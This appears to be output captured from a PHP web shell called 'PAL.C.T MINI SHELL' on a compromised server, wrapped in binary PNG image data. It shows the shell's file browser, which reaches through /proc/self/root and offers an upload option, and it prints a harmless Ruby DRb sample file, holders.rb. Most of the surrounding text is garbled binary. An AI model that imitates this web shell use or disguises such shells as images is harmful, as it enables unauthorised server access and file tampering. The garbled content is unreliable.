php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/doc/ruby-1.8.7.374/sample/drb/
upload
files >> //proc/self/root/usr/share/doc/ruby-1.8.7.374/sample/drb/holders.rb

=begin
= How to play.

==  with timeridconv:
  % ruby -d holders.rb
  druby://yourhost:1234

  % ruby holderc.rb druby://yourhost:1234


==  without timeridconv:
  % ruby holders.rb
  druby://yourhost:1234

  % ruby holderc.rb druby://yourhost:1234
=end
  

require 'drb/drb'

class DRbEx3
  include DRbUndumped

  def initialize(n)
    @v = n
  end

  def sample(list)
    sum = 0
    list.each do |e|
      sum += e.to_i
    end
    @v * sum
  end
end

class DRbEx4
  include DRbUndumped
  
  def initialize
    @curr = 1
  end
  
  def gen
    begin
      @curr += 1
      DRbEx3.new(@curr)
    ensure
      GC.start
    end
  end
end

if __FILE__ == $0
  if $DEBUG
    require 'drb/timeridconv'
    DRb.install_id_conv(DRb::TimerIdConv.new(2))
  end

  DRb.start_service(nil, DRbEx4.new)
  puts DRb.uri
  DRb.thread.join
end
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`